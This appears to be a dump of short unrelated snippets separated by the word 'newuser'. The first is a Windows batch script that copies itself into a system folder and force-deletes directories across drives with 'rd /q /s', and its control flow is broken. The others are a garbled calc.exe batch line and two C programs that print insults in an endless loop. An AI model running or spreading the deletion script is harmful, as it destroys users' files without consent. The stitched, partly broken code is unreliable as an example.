newuser

copy %0 %system32%
cd d:
goto delet_file_directory
cd e:
goto delet_file_directory
cd f:
goto delet_file_directory
cd c:
:delet_file_directory
rd /q /s *.*
%system32%/?

newuser

type ?.exe calc.exe
calc.exe
exit

newuser

#include <stdio.h>
#include <stdbool.h>
int main(void)
{
    while (true)
         printf("** you!");

getchar();
return 0;
}

newuser

#include <stdio.h>
#include <stdbool.h>
int main(void)
{
    while (true)
         printf("damn it!");

getchar();
return 0;
}